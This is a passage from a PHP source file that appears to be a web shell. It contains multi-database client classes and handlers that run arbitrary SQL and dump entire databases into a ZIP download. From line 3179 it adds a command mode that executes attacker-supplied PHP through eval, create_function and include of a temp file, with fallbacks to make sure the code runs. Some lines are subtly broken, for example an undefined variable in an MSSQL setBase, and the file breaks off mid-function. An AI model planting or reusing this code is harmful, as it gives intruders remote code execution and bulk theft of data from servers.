2523 if ($v = sqlsrv_field_metadata($q)) {
2524 $y = array(1 => 'CHAR', 2 => 'NUMERIC', 3 => 'DECIMAL', 4 => 'INT', 5 => 'SMALLINT', 6 => 'FLOAT', 7 => 'REAL', 12 => 'VARCHAR', 91 => 'DATE', 93 => 'DATETIME', -1 => 'TEXT', -2 => 'BINARY', -3 => 'VARBINARY', -4 => 'IMAGE', -5 => 'BIGINT', -6 => 'TINYINT', -7 => 'BIT', -8 => 'NCHAR', -9 => 'NVARCHAR', -10 => 'NTEXT', -11 => 'UNIQUEIDENTIFIER', -151 => 'UDT', -152 => 'XML', -154 => 'TIME', -155 => 'DATETIMEOFFSET');
2525 foreach ($v as $i) {
2526 $i['Type'] = isset($y['Type']) ? $y['Type'] : 'BINARY';
2527 if ($i['Nullable'] === SQLSRV_NULLABLE_NO) $i['Type'].= ' NOT NULL';
2528 $a[$i['Name']] = $i['Type'];
2529 }
2530 return $a;
2531 }
2532 if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) {
2533 foreach ($v as $k => $i) $a[$k] = '';
2534 return $a;
2535 }
2536 }
2537 return FALSE;
2538 }
2539 function select($b, $s, $t, $c, $o, $l) {
2540 return (($this->_res = sqlsrv_query($this->_cnct, 'SELECT TOP ' . ($o + $l) . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($b, $s, $t), array(), array('Scrollable' => SQLSRV_CURSOR_DYNAMIC))) && sqlsrv_fetch($this->_res, SQLSRV_SCROLL_ABSOLUTE, $o));
2541 }
2542 function fetchAssoc() {
2543 return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_ASSOC);
2544 }
2545 function fetchRow() {
2546 return sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC);
2547 }
2548 function nextResult() {
2549 return sqlsrv_next_result($this->_res);
2550 }
2551 function query($v) {
2552 return ($this->_res = sqlsrv_query($this->_cnct, $v));
2553 }
2554 function setBase($v) {
2555 if ($v !== $this->_base) {
2556 $this->_base = NULL;
2557 if (!sqlsrv_query($this->_cnct, 'USE ' . mssqlEscName($b))) return FALSE;
2558 $this->_base = $v;
2559 }
2560 return TRUE;
2561 }
2562 function dump($b, $s, $t, $c, $f) {
2563 if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t);
2564 $i = '';
2565 if ($f) {
2566 if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
2567 else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
2568 }
2569 $c = sqlJoinColumns($c, 'mssqlEscName');
2570 if (($q = sqlsrv_query($this->_cnct, 'SELECT ' . $c . ' FROM ' . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC))) {
2571 if ($f) sqlOutInsert(mssqlEscName($t), $c);
2572 else echo implode(';', array_keys($v)), "\n";
2573 $d = FALSE;
2574 do {
2575 if ($d) echo $d;
2576 else $d = $f ? ',' : "\n";
2577 if ($f) sqlOutValues($v, 'mssqlEscData');
2578 else csvOutValues($v);
2579 }
2580 while ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_NUMERIC));
2581 if ($f) echo ";\n";
2582 sqlsrv_free_stmt($q);
2583 } else $i.= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
2584 return $i;
2585 }
2586 function close() {
2587 sqlsrv_close($this->_cnct);
2588 }
2589 }
2590 function pgsqlEscData($v) {
2591 return "'" . str_replace(array('\\', "'"), array('\\\\', "''"), $v) . "'";
2592 }
2593 function pgsqlEscName() {
2594 $a = func_get_args();
2595 foreach ($a as $k => $v) $a[$k] = '"' . str_replace('"', '""', $v) . '"';
2596 return implode('.', $a);
2597 }
2598 class PGSQLBase extends SQLBase {
2599 var $haveSchemas = TRUE, $canPaginate = FALSE, $_params = '', $_base = NULL, $_clcs = NULL;
2600 function fillParams($h, $u, $p) {
2601 $v = array();
2602 if ($h !== NULL) {
2603 if ($i = strrpos($h, ':')) {
2604 $v[] = 'host=' . $this->escParam(substr($h, 0, $i));
2605 $v[] = 'port=' . substr($h, $i + 1);
2606 } else $v[] = 'host=' . $this->escParam($h);
2607 }
2608 if ($u !== NULL) $v[] = 'user=' . $this->escParam($u);
2609 if ($p !== NULL) $v[] = 'password=' . $this->escParam($p);
2610 $this->_params = implode(' ', $v);
2611 }
2612 function charset($k) {
2613 $v = array('UTF8', 'UTF8', 'WIN1250', 'WIN1251', 'WIN1252', 'WIN1254', 'WIN1256', 'WIN1257', 'LATIN1', 'LATIN2', 'ISO_8859_7', 'ISO_8859_8', 'LATIN5', 'LATIN7', 'BIG5', 'GBK', 'SJIS', 'EUC_KR', 'EUC_JP', 'WIN866', 'KOI8R', 'KOI8U');
2614 return isset($v[$k]) ? $v[$k] : 'utf8';
2615 }
2616 function escParam($v) {
2617 return "'" . addcslashes($v, "'\\") . "'";
2618 }
2619 function getBases() {
2620 return $this->tryQueries(array('SELECT datname FROM pg_catalog.pg_database WHERE NOT datistemplate', 'SELECT datname FROM pg_catalog.pg_stat_database', 'SELECT datname FROM pg_catalog.pg_stat_database_conflicts', 'SELECT current_database()'));
2621 }
2622 function getSchemas($b) {
2623 if (!$this->setBase($b)) return FALSE;
2624 return $this->tryQueries(array('SELECT schema_name FROM information_schema.schemata', 'SELECT nspname FROM pg_catalog.pg_namespace', 'SELECT DISTINCT table_schema FROM information_schema.tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_all_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_all_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_sys_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_stat_xact_sys_tables', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_user_tables UNION SELECT DISTINCT schemaname FROM pg_catalog.pg_statio_sys_tables', 'SELECT DISTINCT table_schema FROM information_schema.columns', 'SELECT DISTINCT schemaname FROM pg_catalog.pg_stats'));
2625 }
2626 function getTables($b, $s) {
2627 if (!$this->setBase($b)) return FALSE;
2628 $s = pgsqlEscData($s);
2629 return $this->tryQueries(array('SELECT table_name FROM information_schema.tables WHERE table_schema=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_all_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_all_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_all_tables WHERE schemaname=' . $s, 'SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_user_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_statio_user_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_sys_tables WHERE schemaname=' . $s, 'SELECT relname FROM pg_catalog.pg_stat_xact_user_tables WHERE schemaname=' . $s));
2630 }
2631 function getColumns($b, $s, $t) {
2632 $a = array();
2633 if ($this->tryQueries(array('SELECT column_name,udt_name,is_nullable,column_default FROM information_schema.columns WHERE table_name=' . pgsqlEscData($t) . ' AND table_schema=' . pgsqlEscData($s), 'SELECT a.attname, FORMAT_TYPE(a.atttypid,a.atttypmod), a.attnotnull, d.adsrc FROM pg_attribute a LEFT JOIN pg_attrdef d ON d.adrelid=a.attrelid AND d.adnum=a.attnum WHERE attrelid = ' . pgsqlEscData(pgsqlEscName($s, $t)) . '::regclass AND attnum>0 AND NOT attisdropped'))) {
2634 while ($v = $this->fetchRow()) {
2635 $v[1] = strtoupper($v[1]);
2636 if ($v[2][0] === 'N' || $v[2][0] === 'f') $v[1].= ' NOT NULL';
2637 if ($v[3] !== NULL) $v[1].= ' DEFAULT ' . pgsqlEscData($v[3]);
2638 $a[$v[0]] = $v[1];
2639 }
2640 return $a;
2641 }
2642 return FALSE;
2643 }
2644 function select($b, $s, $t, $c, $o, $l) {
2645 return $this->query('SELECT ' . sqlJoinColumns($c, 'pgsqlEscName') . ' FROM ' . pgsqlEscName($s, $t) . ' LIMIT ' . $l);
2646 }
2647 }
2648 class PGSQLClient extends PGSQLBase {
2649 function connect($h, $u, $p, $b, $c) {
2650 $this->_base = $b;
2651 $this->_clcs = $c;
2652 $this->fillParams($h, $u, $p);
2653 $v = $this->_params;
2654 if ($b !== NULL) $v.= ' dbname=' . $this->escParam($b);
2655 $this->_cnct = pg_connect($v);
2656 if (!$this->_cnct && $b === NULL) $this->_cnct = pg_connect($this->_params . ' dbname=template1');
2657 if (!$this->_cnct) return FALSE;
2658 pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
2659 return TRUE;
2660 }
2661 function getError() {
2662 if ($this->_cnct) {
2663 $v = (PHP_VERSION >= '4.2') ? pg_last_error($this->_cnct) : pg_errormessage($this->_cnct);
2664 pg_close($this->_cnct);
2665 return $v;
2666 }
2667 return '';
2668 }
2669 function tryQueries($a) {
2670 foreach ($a as $v) if ($this->_res = pg_exec($this->_cnct, $v)) return TRUE;
2671 return FALSE;
2672 }
2673 function fetchBase() {
2674 return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
2675 }
2676 function setBase($v) {
2677 if ($v !== $this->_base) {
2678 $this->_base = NULL;
2679 pg_close($this->_cnct);
2680 if (!($this->_cnct = pg_connect($this->_params . ' dbname=' . $this->escParam($v)))) return FALSE;
2681 $this->_base = $v;
2682 pg_exec($this->_cnct, "SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
2683 }
2684 return TRUE;
2685 }
2686 function fetchSchema() {
2687 return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
2688 }
2689 function fetchTable() {
2690 return ($v = pg_fetch_row($this->_res)) ? $v[0] : FALSE;
2691 }
2692 function getTableSize($b, $s, $t) {
2693 if (($v = pg_exec($this->_cnct, 'SELECT COUNT(*) FROM ' . pgsqlEscName($s, $t)))) {
2694 $v = pg_fetch_row($v);
2695 return $v[0];
2696 }
2697 return '"?"';
2698 }
2699 function getColumns($b, $s, $t) {
2700 $a = parent::getColumns($b, $s, $t);
2701 if ($a) return $a;
2702 $a = array();
2703 if (PHP_VERSION >= '4.3' && ($v = pg_meta_data($this->_cnct, $s . '.' . $t))) {
2704 foreach ($v as $k => $i) {
2705 $a[$k] = strtoupper($i['type']);
2706 if ($i['not null']) $a[$k].= ' NOT NULL';
2707 }
2708 return $a;
2709 }
2710 if (PHP_VERSION >= '4.2' && ($q = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 0'))) {
2711 $i = 0;
2712 while (($v = pg_field_name($q, $i)) !== FALSE) $a[$k] = pg_field_type($q, $i++);
2713 return $a;
2714 }
2715 if (($v = pg_exec($this->_cnct, 'SELECT * FROM ' . pgsqlEscName($s, $t) . ' LIMIT 1')) && ($v = pg_fetch_array($this->_res, NULL, PGSQL_ASSOC))) {
2716 foreach ($v as $k) $a[$k] = '';
2717 return $a;
2718 }
2719 return FALSE;
2720 }
2721 function query($v) {
2722 return ($this->_res = pg_exec($this->_cnct, $v));
2723 }
2724 function fetchAssoc() {
2725 return pg_fetch_array($this->_res, NULL, PGSQL_ASSOC);
2726 }
2727 function fetchRow() {
2728 return pg_fetch_row($this->_res);
2729 }
2730 function dump($b, $s, $t, $c, $f) {
2731 if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t);
2732 $i = '';
2733 if ($f) {
2734 if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
2735 else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
2736 }
2737 $c = sqlJoinColumns($c, 'pgsqlEscName');
2738 if (pg_exec($this->_cnct, 'BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
2739 if (($v = pg_exec($this->_cnct, 'FETCH NEXT FROM c')) && ($v = pg_fetch_array($v, NULL, PGSQL_ASSOC))) {
2740 if ($f) sqlOutInsert(pgsqlEscName($t), $c);
2741 else echo implode(';', array_keys($v)), "\n";
2742 $c = $this->_cnct;
2743 $d = FALSE;
2744 do {
2745 if ($d) echo $d;
2746 else $d = $f ? ',' : "\n";
2747 if ($f) sqlOutValues($v, 'pgsqlEscData');
2748 else csvOutValues($v);
2749 }
2750 while (($v = pg_exec($c, 'FETCH NEXT FROM c')) && ($v = pg_fetch_row($v)));
2751 if ($f) echo ";\n";
2752 }
2753 pg_exec('CLOSE c; ROLLBACK');
2754 } else $i.= sprintf(E_SLCTDT, $b . '.' . $t);
2755 return $i;
2756 }
2757 function close() {
2758 pg_close($this->_cnct);
2759 }
2760 }
2761 if (PHP_VERSION >= '5'):
2762 class MySQLPDOClient extends MySQLBase {
2763 function connect($h, $u, $p, $b, $c) {
2764 $a = array();
2765 if ($h !== NULL && ($v = strrpos($h, ':'))) {
2766 $t = (int)substr($h, $v + 1);
2767 $h = substr($h, 0, $v);
2768 } else $t = NULL;
2769 if ($h !== NULL) $a[] = 'host=' . $h;
2770 if ($t !== NULL) $a[] = 'port=' . $t;
2771 if ($b !== NULL) $a[] = 'dbname=' . $b;
2772 try {
2773 $v = new PDO('mysql:' . implode(';', $a), $u, $p);
2774 }
2775 catch(Exception $e) {
2776 $this->connError($e->getMessage(), $h, $u, $p, $b);
2777 }
2778 $v->query('SET NAMES ' . $this->charset($c));
2779 $this->_cnct = $v;
2780 return TRUE;
2781 }
2782 function getTableSize($b, $t) {
2783 return $this->sqlTableSize(mysqlEscName($b, $t));
2784 }
2785 function getColumns($b, $t) {
2786 if ($a = parent::getColumns($b, $t)) return $a;
2787 return $this->getColumnsNames(mysqlEscName($b, $t));
2788 }
2789 function dump($b, $t, $c, $f) {
2790 if ($f) $i = $this->outCreateTable($b, $t);
2791 $c = sqlJoinColumns($c, 'mysqlEscName');
2792 $this->_cnct->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, FALSE);
2793 if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mysqlEscName($b, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
2794 if ($f) sqlOutInsert(mysqlEscName($t), $c);
2795 else echo implode(';', array_keys($v)), "\n";
2796 $d = FALSE;
2797 do {
2798 if ($d) echo $d;
2799 else $d = $f ? ',' : "\n";
2800 if ($f) sqlOutValues($v, 'mysqlEscData');
2801 else csvOutValues($v);
2802 }
2803 while ($v = $q->fetch(PDO::FETCH_NUM));
2804 if ($f) echo ";\n";
2805 } else $i.= sprintf(E_SLCTDT, $b . '.' . $t);
2806 return $i;
2807 }
2808 }
2809 class MSSQLPDOClient extends MSSQLBase {
2810 var $canPaginate = FALSE;
2811 function connect($d, $u, $p, $b, $c) {
2812 try {
2813 $v = new PDO($d, $u, $p);
2814 }
2815 catch(Exception $e) {
2816 $this->connError($e->getMessage(), $d, $u, $p, $b);
2817 }
2818 $this->_cnct = $v;
2819 $this->_base = $b;
2820 return TRUE;
2821 }
2822 function getTableSize($b, $s, $t) {
2823 return $this->sqlTableSize(mssqlEscName($b, $s, $t));
2824 }
2825 function setBase($v) {
2826 if ($v !== $this->_base) {
2827 $this->_base = NULL;
2828 if (!$this->_cnct->query('USE ' . mssqlEscName($v))) return FALSE;
2829 $this->_base = $v;
2830 }
2831 return TRUE;
2832 }
2833 function getColumns($b, $s, $t) {
2834 if ($a = parent::getColumns($b, $s, $t)) return $a;
2835 return $this->getColumnsNames(mssqlEscName($b, $s, $t));
2836 }
2837 function select($b, $s, $t, $c, $o, $l) {
2838 return $this->query('SELECT TOP ' . $l . ' ' . sqlJoinColumns($c, 'mssqlEscName') . ' FROM ' . mssqlEscName($s, $t));
2839 }
2840 function dump($b, $s, $t, $c, $f) {
2841 if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t);
2842 $i = '';
2843 if ($f) {
2844 if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'mssqlEscName');
2845 else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
2846 }
2847 $c = sqlJoinColumns($c, 'mssqlEscName');
2848 if (($q = $this->_cnct->query('SELECT ' . $c . ' FROM ' . mssqlEscName($s, $t))) && ($v = $q->fetch(PDO::FETCH_ASSOC))) {
2849 if ($f) sqlOutInsert(mssqlEscName($t), $c);
2850 else echo implode(';', array_keys($v)), "\n";
2851 $d = FALSE;
2852 do {
2853 if ($d) echo $d;
2854 else $d = $f ? ',' : "\n";
2855 if ($f) sqlOutValues($v, 'mssqlEscData');
2856 else csvOutValues($v);
2857 }
2858 while ($v = $q->fetch(PDO::FETCH_NUM));
2859 if ($f) echo ";\n";
2860 } else $i.= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
2861 return $i;
2862 }
2863 function fetchBase() {
2864 if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM)))) return $v[0];
2865 return FALSE;
2866 }
2867 function fetchSchema() {
2868 return $this->_res->fetchColumn(1);
2869 }
2870 function fetchTable() {
2871 if (($v = $this->_res->fetch(PDO::FETCH_NUM)) || ($this->_res->nextRowset() && ($v = $this->_res->fetch(PDO::FETCH_NUM)))) return count($v) === 1 ? $v[0] : $v[2];
2872 return FALSE;
2873 }
2874 function nextResult() {
2875 return $this->_res->nextRowset();
2876 }
2877 }
2878 class MSSQLDBLIBClient extends MSSQLPDOClient {
2879 function connect($h, $u, $p, $b, $c) {
2880 $a = array();
2881 if ($h !== NULL) $a[] = 'host=' . $h;
2882 if ($b !== NULL) $a[] = 'dbname=' . $b;
2883 return parent::connect('mssql:' . implode(';', $a), $h, $u, $p, $b, $c);
2884 }
2885 }
2886 class MSSQLODBCClient extends MSSQLPDOClient {
2887 function connect($h, $u, $p, $b, $c) {
2888 $a = array();
2889 if ($h !== NULL) $a[] = 'Server=' . $h;
2890 if ($b !== NULL) $a[] = 'Database=' . $b;
2891 return parent::connect('odbc:' . implode(';', $a), $h, $u, $p, $b, $c);
2892 }
2893 }
2894 class SQLSrvPDOClient extends MSSQLPDOClient {
2895 function connect($h, $u, $p, $b, $c) {
2896 $a = array();
2897 if ($h !== NULL) $a[] = 'Server=' . $h;
2898 if ($b !== NULL) $a[] = 'Database=' . $b;
2899 return parent::connect('sqlsrv:' . implode(';', $a), $u, $p, $b, $c);
2900 }
2901 }
2902 class PGSQLPDOClient extends PGSQLBase {
2903 function connect($h, $u, $p, $b, $c) {
2904 $this->_base = $b;
2905 $this->_clcs = $c;
2906 $this->fillParams($h, $u, $p);
2907 $this->_params = 'pgsql:' . $this->_params;
2908 $v = $this->_params;
2909 if ($b !== NULL) $v.= ' base=' . $this->escParam($b);
2910 try {
2911 $v = new PDO($v);
2912 }
2913 catch(Exception $e) {
2914 $this->connError($e->getMessage(), $h, $u, $p, $b);
2915 }
2916 $v->query("SET CLIENT_ENCODING TO '" . $this->charset($c) . "'");
2917 $this->_cnct = $v;
2918 return TRUE;
2919 }
2920 function setBase($v) {
2921 if ($v !== $this->_base) {
2922 $this->_res = NULL;
2923 $this->_cnct = NULL;
2924 $this->_base = NULL;
2925 try {
2926 $v = new PDO($this->_params . ' base=' . $this->escParam($v));
2927 }
2928 catch(Exception $e) {
2929 return FALSE;
2930 }
2931 $this->_base = $v;
2932 $v->query("SET CLIENT_ENCODING TO '" . $this->charset($this->_clcs) . "'");
2933 $this->_cnct = $v;
2934 }
2935 return TRUE;
2936 }
2937 function getTableSize($b, $s, $t) {
2938 return $this->sqlTableSize(pgsqlEscName($s, $t));
2939 }
2940 function getColumns($b, $s, $t) {
2941 if ($a = parent::getColumns($b, $s, $t)) return $a;
2942 return $this->getColumnsNames(pgsqlEscName($s, $t));
2943 }
2944 function dump($b, $s, $t, $c, $f) {
2945 if (!$this->setBase($b)) return sprintf(E_CHNGDB, $b, $s, $t);
2946 $i = '';
2947 if ($f) {
2948 if ($v = $this->getColumns($b, $s, $t)) sqlOutCreate($t, $v, 'BINARY', 'pgsqlEscName');
2949 else $i = sprintf(E_CNSTCS, $b . '.' . $s . '.' . $t);
2950 }
2951 $c = sqlJoinColumns($c, 'pgsqlEscName');
2952 if ($this->_cnct->query('BEGIN; DECLARE c CURSOR FOR SELECT ' . $c . ' FROM ' . pgsqlEscName($s, $t))) {
2953 if (($v = $this->_cnct->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
2954 if ($f) sqlOutInsert(pgsqlEscName($t), $c);
2955 else echo implode(';', array_keys($v)), "\n";
2956 $c = $this->_cnct;
2957 $d = FALSE;
2958 do {
2959 if ($d) echo $d;
2960 else $d = $f ? ',' : "\n";
2961 if ($f) sqlOutValues($v, 'pgsqlEscData');
2962 else csvOutValues($v);
2963 }
2964 while (($v = $c->query('FETCH NEXT FROM c')) && ($v = $v->fetch(PDO::FETCH_NUM)));
2965 if ($f) echo ";\n";
2966 }
2967 $this->_cnct->query('CLOSE c; ROLLBACK');
2968 } else $i.= sprintf(E_SLCTDT, $b . '.' . $s . '.' . $t);
2969 return $i;
2970 }
2971 function fetchSchema() {
2972 return $this->_res->fetchColumn(0);
2973 }
2974 }
2975 endif;
2976 function outData(&$S) {
2977 echo ',"f":[';
2978 if ($v = $S->fetchAssoc()) {
2979 $b = FALSE;
2980 foreach ($v as $k => $i) {
2981 if ($b) echo ',';
2982 else $b = TRUE;
2983 jsonEcho($k);
2984 }
2985 echo '],"r":[';
2986 $b = FALSE;
2987 do {
2988 if ($b) echo ',';
2989 else $b = TRUE;
2990 echo '[';
2991 $k = FALSE;
2992 foreach ($v as $i) {
2993 if ($k) echo ',';
2994 else $k = TRUE;
2995 jsonEcho($i);
2996 }
2997 echo ']';
2998 }
2999 while ($v = $S->fetchRow());
3000 }
3001 echo ']';
3002 }
3003 $S = $D['e'] . 'Client';
3004 $S = new $S();
3005 if (!$S->connect($D['h'], $D['u'], $D['p'], $D['b'], $D['l'])) $S->connError($S->getError(), $D['h'], $D['u'], $D['p'], $D['b']);
3006 if (isset($D['d'])) {
3007 $Z = new PZIP();
3008 $Z->init();
3009 $a = array();
3010 $m = packTime(time());
3011 foreach ($D['d'] as $k => $v) {
3012 if (isset($D['s'][$k])) foreach ($D['s'][$k] as $i => $s) {
3013 if (isset($D['t'][$k . '-' . $i])) foreach ($D['t'][$k . '-' . $i] as $n => $t) $a[$v][$s][$t] = isset($D['f'][$k . '-' . $i . '-' . $n]) ? $D['f'][$k . '-' . $i . '-' . $n] : FALSE;
3014 elseif ($S->getTables($v, $s)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$s][$t] = FALSE;
3015 } elseif (isset($D['t'][$k])) foreach ($D['t'][$k] as $i => $s) $a[$v][$s] = isset($D['f'][$k . '-' . $i]) ? $D['f'][$k . '-' . $i] : FALSE;
3016 elseif ($S->haveSchemas) {
3017 $k = array();
3018 if ($S->getSchemas($v)) while (($i = $S->fetchSchema()) !== FALSE) $k[] = $i;
3019 foreach ($k as $s) if ($S->getTables($v, $s)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$s][$t] = FALSE;
3020 } elseif ($S->getTables($v)) while (($t = $S->fetchTable()) !== FALSE) $a[$v][$t] = FALSE;
3021 }
3022 $e = array();
3023 $o = $D['o'] === '0';
3024 $x = $o ? '.sql' : '.csv';
3025 if ($S->haveSchemas) foreach ($a as $d => $v) foreach ($v as $s => $k) foreach ($k as $t => $c) {
3026 $f = escFileName($d . '.' . $s . '.' . $t) . $x;
3027 $Z->fileHeader($f, $m);
3028 if ($o) printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
3029 if ($i = $S->dump($d, $s, $t, $c, $o)) $e[] = $i;
3030 if ($o) printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
3031 $Z->fileFooter($f, $m);
3032 } else foreach ($a as $d => $v) foreach ($v as $t => $c) {
3033 $f = escFileName($d . '.' . $t) . $x;
3034 $Z->fileHeader($f, $m);
3035 if ($o) printf(T_DMPHDR, gmdate('Y-m-d H:i:s'));
3036 if ($i = $S->dump($d, $t, $c, $o)) $e[] = $i;
3037 if ($o) printf(T_DMPFTR, gmdate('Y-m-d H:i:s'));
3038 $Z->fileFooter($f, $m);
3039 }
3040 if ($e) {
3041 $n = 'ERRORS.txt';
3042 $t = packTime(time());
3043 $Z->fileHeader($n, $t);
3044 foreach ($e as $v) echo $v;
3045 $Z->fileFooter($n, $t);
3046 }
3047 $Z->close();
3048 }
3049 if (isset($D['q'])) {
3050 if ($S->query($D['q'])) {
3051 echo '{"q":';
3052 jsonEcho($D['q']);
3053 outData($S);
3054 $S->close();
3055 die('}');
3056 }
3057 echo '{"e":';
3058 jsonEcho($D['q'] . "\n" . $S->getError());
3059 die('}');
3060 }
3061 if (isset($D['f'])) {
3062 $b = isset($D['s']);
3063 if ($b ? $S->select($D['b'], $D['s'], $D['t'], $D['f'], $D['o'], $D['r']) : $S->select($D['b'], $D['t'], $D['f'], $D['o'], $D['r'])) {
3064 echo '{';
3065 if ($S->canPaginate) echo '"o":', $D['o'], ',';
3066 echo '"b":';
3067 jsonEcho($D['b']);
3068 if ($b) {
3069 echo ',"s":';
3070 jsonEcho($D['s']);
3071 }
3072 echo ',"t":';
3073 jsonEcho($D['t']);
3074 outData($S);
3075 $S->close();
3076 die('}');
3077 }
3078 echo '{"e":';
3079 jsonEcho("Can't load data from table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t'] . ' (' . $S->getError() . ')');
3080 die('}');
3081 }
3082 if (isset($D['t'])) {
3083 $b = isset($D['s']);
3084 if ($v = ($b ? $S->getColumns($D['b'], $D['s'], $D['t']) : $S->getColumns($D['b'], $D['t']))) {
3085 $S->close();
3086 echo '{"b":';
3087 jsonEcho($D['b']);
3088 if ($b) {
3089 echo ',"s":';
3090 jsonEcho($D['s']);
3091 }
3092 echo ',"t":';
3093 jsonEcho($D['t']);
3094 echo ',"f":[';
3095 $i = FALSE;
3096 $a = array();
3097 foreach ($v as $k => $t) {
3098 if ($i) echo ',';
3099 else $i = TRUE;
3100 echo '[';
3101 jsonEcho($k);
3102 if (!isset($a[$t])) $a[$t] = count($a);
3103 echo ',', $a[$t], ']';
3104 }
3105 echo '],"y":[';
3106 $i = FALSE;
3107 foreach ($a as $k => $v) {
3108 if ($i) echo ',';
3109 else $i = TRUE;
3110 jsonEcho($k);
3111 }
3112 die(']}');
3113 }
3114 $S->close();
3115 echo '{"e":';
3116 jsonEcho("Can't list columns for table " . $D['b'] . '.' . ($b ? $D['s'] . '.' : '') . $D['t']);
3117 die('}');
3118 }
3119 if (isset($D['b'])) {
3120 $b = isset($D['s']);
3121 if ($b || !$S->haveSchemas) {
3122 if ($b ? $S->getTables($D['b'], $D['s']) : $S->getTables($D['b'])) {
3123 echo '{"b":';
3124 jsonEcho($D['b']);
3125 if ($b) {
3126 echo ',"s":';
3127 jsonEcho($D['s']);
3128 }
3129 echo ',"t":[';
3130 $i = FALSE;
3131 while (FALSE !== ($v = $S->fetchTable())) {
3132 if ($i) echo ',';
3133 else $i = TRUE;
3134 echo '[';
3135 jsonEcho($v);
3136 if (isset($D['r'])) echo ',', $b ? $S->getTableSize($D['b'], $D['s'], $v) : $S->getTableSize($D['b'], $v);
3137 echo ']';
3138 }
3139 $S->close();
3140 die(']}');
3141 }
3142 $S->close();
3143 echo '{"e":';
3144 jsonEcho("Can't list tables for " . $D['b'] . ($b ? '.' . $D['s'] : ''));
3145 die('}');
3146 }
3147 if ($S->getSchemas($D['b'])) {
3148 echo '{"b":';
3149 jsonEcho($D['b']);
3150 echo ',"s":[';
3151 $b = FALSE;
3152 while (FALSE !== ($v = $S->fetchSchema())) {
3153 if ($b) echo ',';
3154 else $b = TRUE;
3155 jsonEcho($v);
3156 }
3157 $S->close();
3158 die(']}');
3159 }
3160 $S->close();
3161 echo '{"e":';
3162 jsonEcho("Can't list schemas for database " . $D['b']);
3163 die('}');
3164 }
3165 if ($S->getBases()) {
3166 echo '[';
3167 $b = FALSE;
3168 while (FALSE !== ($v = $S->fetchBase())) {
3169 if ($b) echo ',';
3170 else $b = TRUE;
3171 jsonEcho($v);
3172 }
3173 $S->close();
3174 die(']');
3175 }
3176 $S->close();
3177 die('{"e":"Can\'t list databases"}');
3178 break;
3179 case 'p':
3180 function sdf() {
3181 if (defined('PTF')) delFile(PTF);
3182 die("\x03\x1E" . (defined('PES') ? "\x06" : "\x15") . "\x17\x04\x10");
3183 }
3184 register_shutdown_function('sdf');
3185 echo "\x01\x02";
3186 $D['e'] = 'define("PES",1);' . $D['e'];
3187 if (!isset($D['h'])) $D['e'] = '@error_reporting(E_ALL);@ini_set("error_reporting",E_ALL);@ini_set("display_errors",TRUE);' . $D['e'];
3188 eval($D['e']);
3189 if (defined('PES')) die;
3190 if ($v = create_function('&$args', $D['e'])) $v($args);
3191 if (defined('PES')) die;
3192 if ($v = tempFile('<?php ' . $D['e'])) {
3193 define('PTF', $v);
3194 include ($v);
3195 if (defined('PES')) die;
3196 include_once ($v);
3197 if (defined('PES')) die;
3198 require ($v);
3199 if (defined('PES')) die;
3200 require_once ($v);
3201 if (defined('PES')) die;
3202 if (PHP_VERSION >= '5' && PHP_VERSION <= '5.0.4') {
3203 php_check_syntax($v);
